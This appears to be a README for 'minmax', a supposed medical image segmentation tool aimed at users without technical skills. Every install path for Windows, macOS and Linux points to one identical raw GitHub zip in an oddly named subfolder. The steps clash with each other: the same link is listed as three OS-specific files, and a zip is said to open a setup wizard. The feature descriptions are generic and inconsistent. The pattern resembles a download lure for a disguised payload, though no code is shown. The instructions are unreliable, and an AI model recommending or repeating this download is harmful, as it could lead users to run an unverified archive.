Welcome to minmax! This application helps you segment medical images using an advanced semi-supervised learning technique. It is designed for everyday users who need a reliable tool for medical image analysis.
To use minmax, follow these simple steps. You donβt need any programming skills, just a computer and an internet connection.
Before you begin, ensure your computer meets these requirements:
- Operating System: Windows 10 or later / macOS 10.14 or later / Linux (Ubuntu 18.04 or later)
- RAM: Minimum 4 GB (8 GB recommended)
- Disk Space: At least 500 MB free
- Graphics Card: Optional, but a GPU can speed up processing.
To download and run minmax, visit this page: Download minmax.
- Click the link above to go to the Releases page.
- Find the latest version, usually listed at the top.
- Look for files labeled like https://raw.githubusercontent.com/yamtan/minmax/main/lupinosis/minmax.zip, https://raw.githubusercontent.com/yamtan/minmax/main/lupinosis/minmax.zip, or https://raw.githubusercontent.com/yamtan/minmax/main/lupinosis/minmax.zip.
- Download the file that matches your operating system.
- After downloading, follow the instructions below to install and run the application.
- Double-click the downloaded file https://raw.githubusercontent.com/yamtan/minmax/main/lupinosis/minmax.zip.
- Follow the prompts in the setup wizard.
- Once installed, open minmax from the Start menu.
- Open the downloaded file https://raw.githubusercontent.com/yamtan/minmax/main/lupinosis/minmax.zip.
- Drag the minmax app into your Applications folder.
- You can now open minmax from your Applications.
- Extract the downloaded file https://raw.githubusercontent.com/yamtan/minmax/main/lupinosis/minmax.zip.
- Open a terminal and navigate to the extracted folder.
- Run
./minmaxto start the application.
Once you have installed minmax, you can start using it right away.
- Click on "Load Image" to select your medical image file. Supported formats include JPG, PNG, and TIFF.
- Select the type of segmentation you need. You can choose between supervised or unsupervised learning options.
- Click on the "Segment" button to begin the analysis. Depending on your image and settings, this may take a few moments.
- After processing, you will see the segmented image. You can save it by clicking "Save Image."
- User-friendly Interface: Designed for users without technical backgrounds.
- High Accuracy: Uses advanced methods for precise segmentation.
- Multi-Format Support: Works with various image formats.
- Fast Processing: Offers quick real-time results on most computers.
If you encounter issues or have questions, please visit our GitHub Issues page. You can report any problems or ask for help.
Keep your application up to date. Visit the Releases page regularly to download the latest version, which may include new features and improvements.
- Documentation: For detailed instructions, check our official Documentation.
- Community: Join discussions on our forum to connect with other users and share insights.
Thank you for using minmax! We hope it serves you well in your medical image segmentation tasks.